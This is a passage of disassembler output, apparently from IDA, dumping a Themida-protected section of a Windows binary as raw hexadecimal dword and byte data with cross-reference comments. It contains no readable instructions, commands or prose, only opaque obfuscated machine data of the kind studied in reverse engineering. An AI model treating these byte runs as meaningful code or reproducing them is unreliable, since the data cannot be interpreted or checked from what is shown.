20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0E9CAC350h, 2C7DB589h dd 0BD830615h, 615285Dh, 52840F02h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 523C350h, 48FF7885h, 8BC18147h, 15284985h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 89957138h, 1511F99Dh, 0C606h, 0F585C7F9h, 61523h, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h dd 40000000h, 21E3C350h, 0E2B44B2Fh, 48518137h, 0FFF344E9h dd 6AC18BFFh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1D042444h, 40000000h, 0F7DBC350h, 0C3AB99B6h, 2150EEB2h dd 18F58589h db 15h, 6, 0F9h byte_5C0BD3 db 8Dh ; DATA XREF: Themida_:0057C30Co ; Themida_:0057C910o dd 15279D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1404h, 0C3524200h, 2850F51h, 8A000000h, 525050FCh, 6E8h dd 8E492000h, 5BF4917Ah, 0FC8A310Fh, 489585Ah, 0BD335324h dd 61510EDh, 6A006A5Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0B7A1C356h, 20E5D647h dd 14F99D8Bh, 0EB800615h, 0B7006A60h, 0B858D51h, 6A061974h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0F0AC353h, 0B840Fh, 6E90000h, 45000000h dd 2054ED3h, 0DFBF0FF5h, 20CD9D89h, 0C0830615h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 7F551C4h, 15840Fh, 10E90000h, 58000000h, 2698E179h dd 4C1BEC0Ch, 4EBF76FAh, 50A74F79h, 6820Fh, 860F0000h dd 0 dd 66240489h, 8BF95BBFh, 6A006ADFh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 6265C350h dd 8B5DD380h, 76EF81F8h, 6A219D8Fh, 0A59D8B00h, 0FF061518h dd 15267995h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1B04h, 0C3514100h, 3AB6E6AFh, 71EDCC92h, 10E8h, 0AA4C6B00h dd 75403175h, 3E7AAD5Fh, 3DEE69A4h, 48D0F47h, 66000000h dd 5FA27EBFh, 9C158D8Dh, 9D8B0618h, 61516B9h, 6AD1FFh dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 247F1BC3h, 0AA0F6E69h, 6830F36h, 3000000h, 1522599Dh dd 0B5BD8306h, 106152Dh, 98850Fh, 8D890000h, 6151A35h dd 8166026Ah, 505BBAE7h, 9E96060h, 32000000h, 7B91CBEBh dd 3A5081D4h, 60615F50h, 0AE8h, 458B0600h, 0D8D781C5h dd 5FEE2AE4h, 8E0Fh, 61610000h, 6A240489h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0B3D8C356h dd 0C4AED767h, 759D33ACh, 81061534h, 8E3B43C7h, 4D95FF3Ch dd 6A06151Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 7EE3C352h, 18E8754Bh, 8A1F7825h dd 7CE9FCDAh, 0E800000Dh, 0 dd 15ED815Dh, 0F061974h, 0C89h, 6890F00h, 8B000000h, 1518C5BDh dd 6E906h, 96370000h, 3DAB63EDh, 0F9858DF9h, 6A061888h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h dd 42000000h, 73D4C352h, 6E1225CAh, 12B5BD8Bh, 0E8900615h dd 0Ch, 0D978B68h, 0CB020B44h, 7FBFCCEh, 505BC8B7h, 0D7F430BFh dd 6A907Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 0B55441C3h, 12631EA4h, 35FF644Ch, 0 dd 29F98B66h, 1509C98Dh, 25896406h, 0 dd 0EE822BFh, 3585FF42h, 6A061515h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0DEAC356h dd 0BF0BBF59h, 4CEF26CDh, 1041BD01h, 0FA8B0615h, 13E8FF6Ah dd 5000000h, 0A59F0E12h, 7213CF07h, 0FD9647F7h, 0A6190D2Ah dd 0B5894FE1h, 6152AEDh, 95B5FF5Fh, 6A061505h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 6D52C355h, 0DF537B6h, 0FF5B4CAAh, 1508BD95h, 14AE906h dd 0B0F80000h, 0C820F00h, 0F000000h, 688h, 4DBD8B00h, 0E6061516h dd 0C880F70h, 0F000000h, 687h, 3DBD8B00h, 0E406151Ah, 6870F71h dd 29000000h, 150C4995h, 0F613C06h, 10B83h, 0FE8B6600h dd 0E9C8B60Fh, 0Fh, 11A0377Bh, 217341B0h, 0D63D77DFh, 897182F3h dd 151D59B5h, 6BA06h, 89500000h, 1507F98Dh, 8D895B06h dd 6151A25h, 860FC18Bh, 0Bh, 5840Fh, 6ABB0000h, 5606E1DEh dd 2E89BD8Bh, 0C15F0615h, 0BD8B04E8h, 6150C09h, 0BFE2F766h dd 1E2268CCh, 0EE9h, 652100h, 77106531h, 0E7F71204h, 2B3254D8h dd 0DB8166C8h, 0D18BA1F5h, 0BF7EC2BFh, 5E927h, 0A4BB0000h dd 8B380D2Ch, 1519D185h, 0C083F506h, 0F88B6607h, 3300C083h dd 1504A1BDh, 0FD03B06h, 2A83h, 7DB06000h, 2666DBBEh, 55E96157h dd 0E9000000h, 14h, 3105877Dh, 0FC81C8F0h, 8FA8654h, 0ED431B41h dd 0F05AF32Eh, 8BFE8B66h, 15108D8Dh, 0ADBD8906h, 8306150Bh dd 840F01E1h, 24h, 27DBD89h, 0A5830615h, 615108Dh, 0A9BD8BFEh dd 89061528h, 1519D195h, 0FD958906h, 0E9061510h, 0 dd 94B58Dh, 0E5BF0619h, 94756EDh, 1525859Dh, 6A006A06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h dd 41000000h, 58B6C351h, 7EF89CCAh, 5BD8972h, 0FF06152Eh dd 152E2195h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1704h, 0C3574700h, 0F8FE606Fh, 71B9DF8Bh, 6A000009h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 8B97C357h, 78223524h, 7E92CA2h, 6E000000h dd 4F0492A2h, 0E183C978h, 3800FFCh, 66000000h, 81FCD98Bh dd 0DD3FF0D7h, 0B807h, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0B6DA88C3h, 0BF0F5D46h dd 0BADAh, 16B70000h, 0D1C233ADh, 83D003E8h, 0F47504E9h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 6C35040h dd 6AEAFA58h, 189D9D8Bh, 6AF90615h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 52C3C357h dd 0D5F04B7h, 88h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ch, 0DCC35343h, 0A9831F93h, 0D9397B64h, 2721958Bh dd 0BB660615h, 8D8B439Dh, 61504CDh, 0DE9h, 0DA959900h dd 0B093BF31h, 50CAB4F3h, 8B50704Dh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Bh, 1CC35141h, 13F0DC8h, 56128A7Fh, 7ED8509h dd 0E95F0615h, 0Ah, 0F3C09DBAh, 9C8E53C4h, 8B66E35Ch, 0A9BD83D8h dd 61518h, 57840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0D98BF3C3h, 0B8h, 9E8D8D00h dd 8B06154Fh, 152D81BDh, 6AE1FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 3F32C352h dd 8B512C1Ch, 152A759Dh, 15BD8306h, 61511h, 49F840Fh, 81660000h dd 833922CBh, 151115BDh, 840F0106h, 4A8h, 0BD83F98Bh, 6151115h dd 63860F03h, 6A000004h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 43FFC357h, 487C0E71h dd 8589C75Ah, 6151315h, 2D8529h, 1600615h, 15346195h, 0D98C6606h dd 23359D89h, 80FC0615h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 269493C3h, 0B7B32800h dd 959D8999h, 66061528h, 0A7975BBh, 6A840FC9h, 6A000001h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0DDAEC351h, 604BC085h, 6880Fh, 0BD890000h dd 61506C9h, 8B615E53h, 15249D85h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 8E4FEA81h dd 0B58533A0h, 6A061519h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 41D2C355h, 54E442BDh dd 0F5F4C6Eh, 13E9FEB7h, 9F000000h, 0CF081855h, 5C6FEDEAh dd 18647844h, 81C409E1h, 8950FBA0h, 85892404h, 61501C1h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0FEC971C3h, 0CF3280A7h, 4E8F014h, 0FF000000h dd 8B001F03h, 505350DEh, 0F5B5652h, 0F525031h, 5A585A31h dd 448B5F58h, 8B560424h, 8B5FFEh, 448965B3h, 8B660424h dd 0FFF858DAh, 150DAD95h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD89FE61h dd 6150D61h, 0BF998589h, 9D890618h, 6152AF5h, 25FE9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 6405607Ch, 29C105D7h, 151C91BDh, 5DBD8B06h, 81061510h dd 8F8DDAE3h, 91858B74h, 570618BFh, 2C8DBD33h, 0C75F0615h dd 1800h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 0F781E5F1h, 89256F0Ch, 1502958Dh dd 95B58B06h, 90618BFh, 1525D59Dh, 0D5BD3306h, 8B06151Dh dd 150C4585h, 0CB816606h, 68902C0h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 7EC35040h, 0E9B529D3h, 8B06150Ah dd 15249D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1C04h, 0C3564600h, 0EE3729F7h, 0D2C16E83h, 1DBD3188h dd 89061505h, 6A0446h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 39F83C3h, 15189D9Dh, 0BE806h, 75B30000h dd 8D595BC0h, 1312A8F7h, 0C5BD89A7h, 5B06150Ch, 50B4B796h dd 10E8h, 9C20AE00h, 8A86646Eh, 15CAC3C3h, 7324397Ch, 55EDBF1Ah dd 965F6CD2h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0B0C35141h, 0DC9EC951h, 0FF012497h, 18BF91B5h dd 119D2B06h, 0E8061501h, 4, 1F03FFh, 50FE8B66h, 8B665250h dd 50310FFEh, 8E0F52h, 0F000000h, 5A2EB731h, 8B585A58h dd 0E8042444h, 11h, 0BB7F7805h, 5A9CCC93h, 962ADCE3h, 1611AE1Ah dd 0E9525081h, 5, 6AACBEC5h, 50310FFDh, 5A310F52h, 5B585A58h dd 4489008Bh, 52500424h, 9416BB66h, 0BF66310Fh, 585ADAB6h dd 50006A58h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 3E9D2075h, 8589D8E5h, 6151511h, 31B52953h dd 5F061507h, 0BF99858Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 0F12C3CC3h, 1E254EB3h dd 14E850B2h, 2000000h, 0D9098C67h, 9D659CEDh, 77ACC51h dd 0AA0AF49Ah, 8BFAD7A3h, 4895BD9h, 0F98B6624h, 0DAD95FFh dd 0B5890615h, 61506FDh, 0F3816661h, 85C771AAh, 6151115h dd 3, 83D88B66h, 18BF99BDh, 840F0006h, 36h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h, 7BC62F66h dd 0D1B9C023h, 0B1F2CF81h, 0BB663699h, 1EE9CFC9h, 66000000h dd 3050F98Bh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0BD8953C0h, 6152351h, 0FB8B665Bh, 1115BD83h dd 0F030615h, 39785h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1A04h, 0C3524200h, 2038018Eh, 661D0806h dd 831284BFh, 18BF99BDh, 840F0006h, 364h, 17E19D8Bh, 0B5FF0615h dd 618BF99h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 82C35646h, 30731A4Dh, 8A45B1E1h, 0E195FFDEh, 8B061510h dd 151E71BDh, 8DB58B06h, 8B0618BFh, 15232DBDh, 2890F06h dd 8B000000h, 106C7D8h, 1000100h, 152B3D95h, 7EBB9606h dd 503E8040h, 1FB75250h, 585A310Fh, 57006A96h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 62DDCD54h dd 9D8BE677h, 6150551h, 0BF99B5FFh, 6A0618h, 3E850h, 58200000h dd 448958C3h dd 44810424h, 170424h, 50400000h, 0AFDB6C3h, 12E859h, 0D99D0000h dd 0AEF76359h, 0FFD2EE24h, 780BAA22h, 9ABF6215h, 10A59D33h dd 895B0615h, 1518C585h, 0A195FF06h, 6A061506h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h dd 0B4D2C353h, 812D4E2Bh, 0C3816652h, 8B5B31F5h, 152D1DBDh dd 8DB58B06h, 6A0618BFh, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1B042444h, 42000000h, 0C28FC352h, 281C1BDCh dd 858B440Fh, 6150059h, 0C48689h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 660792C3h dd 9D8BFE8Bh, 6152705h, 2721958Bh, 0BD2B0615h, 615140Dh dd 6604C283h, 5089DA8Bh, 0DA8B5320h, 58858D5Bh, 6A0618D4h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1A042444h dd 46000000h, 0D206C356h, 5805087h, 5E944h, 0FC6D0000h dd 89282E00h, 0B886h, 0DE800h, 3C4F0000h, 0D0196F50h, 4452B355h dd 660FE6A6h, 5BCF6DBFh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1B0424h, 57470000h, 7D7AE2C3h, 882BAE14h dd 99B5FF5Bh, 6A0618BFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 0BB61C351h, 4B8A1EADh dd 0BB8AD301h, 4663F6AEh, 1D4D95FFh, 95290615h, 6152185h dd 0D98B6650h, 80243489h, 0B5FF7AD7h, 618BF99h, 0BBA2DF81h dd 95FF5726h, 6150729h, 8371CF80h, 150065BDh, 840F0006h dd 37h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h dd 21C35545h, 8F0F9B24h, 6, 4B98D09h, 50960615h, 0BC1274BFh dd 0F8BF9623h, 0FF59ED46h, 18BF99B5h, 5CC78106h, 0FF78038Eh dd 15043995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1704h, 0C3524200h, 44535A6Ch, 11E9h, 94E91800h, 44DC25B4h dd 35F156F8h, 0E1E08F6Dh, 0BD8BDB81h, 615144Dh, 0BF99B5FFh dd 6A0618h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 8D0F04C3h, 3, 0FFD4F780h, 150DCD95h, 0D98B6606h dd 285DBD83h, 0F020615h, 3284h, 12E900h, 0A25C0000h, 3CEABC68h dd 0C6281D3Dh, 0B46A6D1Eh, 3B69CB23h, 2849858Bh, 0DE90615h dd 0C5000000h, 0E431D1C6h, 3E41353Dh, 706DBC21h, 0C70000C6h dd 1523F585h, 6, 0DBB70F00h, 0FFF39FE9h, 57006AFFh, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h dd 5A73E43Fh, 81C50970h, 61DD4AF7h, 0FC18B32h, 682h, 11B58900h dd 8D061511h, 15279D85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 28758B56h, 0C9D18EEEh dd 0F19D891Eh, 0BF061517h, 4D0F2B17h, 0DE96050h, 7C000000h dd 0B22849F2h, 0DEAB2ED5h, 52C1EE25h, 7D97BF60h, 5E5378E7h dd 4896161h, 6A006A24h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1D042444h, 42000000h, 40ECC352h, 0C517AAA6h dd 0FFD1AC5Bh, 858950F8h, 61506A9h, 6A006A5Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 8DB3C356h, 26A3AB39h, 0F5745195h, 83E4858Dh, 6A0619h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0A08F2DC3h, 0BB4C8AF9h, 26659D8Bh, 0C0830615h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h dd 0F4563520h, 60F9D6A6h, 2C8D8D8Bh, 8D8B0615h, 615010Dh dd 8B665061h, 240489DAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 19h, 2FC35545h, 2EDCF01h, 0B3006ACDh, 6A006AB8h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 17042444h dd 40000000h, 6A6FC350h, 95FF943Eh, 6152679h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 4DC35141h, 0CFDD88EDh dd 13E9E9h, 65840000h, 0C5E47935h, 1DCF310Ah, 4FF78A32h dd 0E8820855h, 2D9D8B6Fh, 8D06150Ch, 189C158Dh, 0C3816606h dd 0D1FF805Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0A3C35242h, 468D6EF7h, 0BE9023Ah, 0EE000000h, 773A5DECh dd 1ADD752Eh, 0BD8307A3h, 6152DB5h, 6C850F01h, 0F5000000h dd 8960026Ah, 15130D85h, 8D06BE06h, 506123A2h, 0FE9h, 1985CC00h dd 160696AEh, 9BE51318h, 892C7495h, 6A240489h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 7BBEC352h, 4D95FFFBh, 6A06151Dh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 818BC356h dd 0E9FFFD5Dh, 0C6Eh dword_5C1E18 dd 0E8h, 0ED815D00h, 61983EEh, 1D8D9D89h, 6A0615h, 3E855h ; DATA XREF: Themida_:0057B7BCo dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0BBB26C3h, 8D221545h, 1888F985h, 5FF85706h, 89C0B350h dd 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 5CE155C3h, 0FF64DE8Bh, 35h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 0CF66F496h, 64364978h, 2589h, 0B70F0000h, 3585FFDBh dd 6A061515h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 6337C357h, 89079735h, 150569BDh dd 0FFFF6A06h, 152D19B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 95FF1135h dd 61508BDh, 12BE9h, 5100B000h, 292541BFh, 0BD8B5F64h dd 6152AA1h, 850970E6h, 61525C1h, 8B6671E4h, 0F613CDAh dd 10783h, 0B5295300h, 61510A9h, 0C8B60F5Bh, 6BAF9h, 0AE80000h dd 9E000000h, 7218BFF0h, 4CCB185Eh, 3EB810Ah, 5B21AC4Ch dd 0BD8BC18Bh, 6151291h, 14219D8Bh, 0E8C10615h, 8D9D8B04h dd 66061530h, 0D98BE2F7h, 9D8BC82Bh, 6150AA9h, 0FE9D18Bh dd 81000000h, 0AD48E5EEh, 0B6C30FFDh, 8E33DF3Dh, 0E9D0BCh dd 8B000000h, 15059D85h, 0E99D8B06h, 83061523h, 958907C0h dd 6152E05h, 6800F56h, 8B000000h, 150AA1BDh, 0C0835F06h dd 6810F00h, 89000000h, 1504A1BDh, 0FD03B06h, 0B83h, 61E9F500h dd 0BB000000h, 2C5EA7F7h, 27158D8Bh, 89500615h, 152A859Dh dd 0E1835F06h, 45840F01h, 0E9000000h, 0Fh, 54839CE3h, 15D734FFh dd 380AB2C7h, 83114463h, 152715A5h, 9D0BFE06h, 6152AC9h dd 59D9589h, 14E90615h, 73000000h, 0B140837h, 340A06B2h dd 0F88F75F0h, 0C9FE13FBh, 0E9E1355Dh, 0 dd 0BCCB58Dh, 8B600619h, 151A5985h, 0A59D8B06h, 61061526h dd 0BD89006Ah, 6151A6Dh, 2E2195FFh, 6A0615h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1D0424h, 50400000h, 821231C3h dd 57C0219Ah, 0F99F4943h, 89DB9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0CE78BEF9h dd 0A1B589D3h, 83061507h, 0FC8AFCE1h, 0F5B589FCh, 2B061510h dd 759529C0h, 0BA061502h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 46C35141h dd 5F59ED84h, 0E15D5DA1h, 0BE860D4h, 9B000000h, 782AC62Ch dd 982E301Ah, 59FC8DADh, 2EC5F4B9h, 33AD6132h, 3E8D1C2h dd 4E983D0h, 10E9F475h, 0E7000000h, 0AA05E64Ch, 0DFBB4B74h dd 4EFC1321h, 9BC59B8h, 1518E595h, 880D06h, 0CE90000h dd 61000000h, 2B3AD99Ch, 641B84A4h, 607A5A9Dh, 7A0FD781h dd 95893974h, 61522D9h, 21958B61h, 6A061527h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 700DC351h, 91DC4082h, 8D8B70E6h, 61504CDh, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 66674CC3h dd 168C0Fh, 11E90000h, 39000000h, 938B8494h, 56B77ADCh dd 1756D606h, 72A28EE1h, 52DBD8Bh, 0BB660615h, 0BD839F75h dd 61518A9h, 58840F00h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 2A64C353h dd 0C7044A6Eh, 24DB81CBh, 0B804B553h, 0 dd 149C88BBh, 9E8D8D4Bh, 3306154Fh, 152A4DBDh, 0D9BD8B06h dd 0FF06152Fh, 0DE9E1h, 0D2680000h, 10E40EE9h, 0C0C7033Ch dd 8305927Dh, 151115BDh, 840F0006h, 431h, 0EE952h, 0CC090000h dd 8AA3AF12h, 0E4AC205Eh, 3C8F790Eh, 3BCBBB5Bh, 0BD837C56h dd 6151115h, 25840F01h, 89000004h, 1534758Dh, 0E8BF6606h dd 15BD839Ah, 3061511h, 3D8860Fh, 0B5290000h, 6151031h dd 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h dd 0C3574700h, 77AD4AE1h, 8C66427Bh, 14E9D9h, 287F0000h dd 3EF09798h, 0C354A742h, 12903125h, 0D242EBEBh, 0E1807ECBh dd 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h dd 0C3564600h, 0CD7B983Ch, 840FC90Ah, 0F9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F7C35747h, 53EFD354h dd 97BF660Bh, 9D858B93h, 0F061524h, 8Fh, 33FA8B00h, 1519B585h dd 0DA8B9006h, 0B8666050h, 8B66850Ch, 0F9061F1h, 6AFABFh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0A5C35646h dd 813F8D91h, 8BD2F689h, 150C6DBDh, 85D86806h, 348168C8h dd 0D7862724h, 0C820F68h, 0F000000h, 68Ah, 0F5858900h dd 0FF061518h, 150DAD95h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 89678CC5h dd 152C758Dh, 99858906h, 8A0618BFh, 239E9DCh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 6E8409C3h, 5B9030BCh, 819D8B89h, 8B061512h, 151005BDh dd 91858B06h, 6A0618BFh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0A9A3C356h, 698D8944h dd 23061503h, 1533D19Dh, 1800C706h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 34FC356h, 762ABC28h, 0B58BEF6Fh, 618BF95h, 0EE9h, 0F514F200h dd 8380DECCh, 9FA15158h, 8B05841Eh, 150C4585h, 25B52906h dd 89061523h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 76D30D94h, 8B102966h, 68B0FD9h, 31000000h dd 1526358Dh, 9D858B06h, 60061524h, 0DE9h, 977ABC00h, 5B7821A2h dd 67D38CD1h, 61FC3DB7h, 6A044689h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 28E3C355h dd 49DEA71Ch, 6650962Ch, 505BDF8Bh, 8C0Fh, 6A960000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 0D315C355h, 544B8F5Eh, 0BD8B1BC7h, 6152555h, 0BF91B5FFh dd 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0B6C4E8C3h, 13E9B8h, 0F4C60000h, 0FBAE64D6h dd 0D2035939h, 0D5F975E2h, 1A83FA23h, 0E2A76849h, 14E864B8h dd 70000000h, 53EC24D4h, 0C207E36h, 17E6FEA6h, 7E265A71h dd 51E97990h, 5F5BDA8Bh, 58243481h, 6A64A7E1h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h dd 6F73C353h, 0BF99858Dh, 9D290618h, 61516F1h, 10E890h dd 7AAA0000h, 72E78175h, 6F5DABC3h, 544538CCh, 52500629h dd 585A310Fh, 860F505Fh, 1Ch, 8D0F5250h, 0 dd 0AE8310Fh, 10000000h, 51FEEB17h, 0DAFAA8AFh, 585A5F00h dd 1DC78190h, 0FF0B9647h, 150DAD95h, 0A1BD8906h, 61061512h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A3C35242h dd 9D8B4609h, 615166Dh, 111585C7h, 30615h, 83FC0000h, 18BF99BDh dd 840F0006h, 2Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 2DC35141h, 2A806F81h, 1FE9F9h, 8B660000h dd 3050F5DEh, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0DD9D89C0h, 29061515h, 1512BD8Dh, 15BD8306h dd 3061511h, 3AD850Fh, 0A0B30000h, 0BF99BD83h, 0F000618h dd 39E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0E09A5B2Bh, 0BF99B5FFh, 6A0618h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 521FDCC3h, 5FE58F18h, 0BB66FB5Dh, 95FF383Ch, 61510E1h dd 9C2ABF66h, 0BF8DB58Bh, 6A0618h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0B6ECD9C3h, 0BC0DC5BFh dd 106C742h, 89000100h, 15269D8Dh, 34895006h, 0D9BD8B24h dd 0FF06151Ch, 18BF99B5h, 0B5BF6606h, 0A195FF79h, 89061506h dd 15192185h, 8DB58B06h, 6A0618BFh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 1C33C356h dd 159938C0h, 0BE9h, 0AE9AC100h, 5A67C091h, 0F50B0D3Ch dd 59858Bh, 12E80615h, 0F5000000h, 6112566Bh, 4275C5B1h dd 0CB21276Ch, 849D9627h, 0B70F6032h, 895B61CEh, 0C486h dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 0C78166ACh, 958BBD0Dh, 6152721h, 6880Fh dd 8D010000h, 61512D5h, 6A04C283h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 537FC350h dd 0EE04D3DBh, 0A9BD8BF2h, 8906152Ah, 0F3812050h, 76A31484h dd 0D458858Dh, 6A0618h, 3E850h, 58200000h, 448958C3h, 44810424h dd 150424h, 50400000h, 8937BBC3h, 0B886h, 0E3816000h, 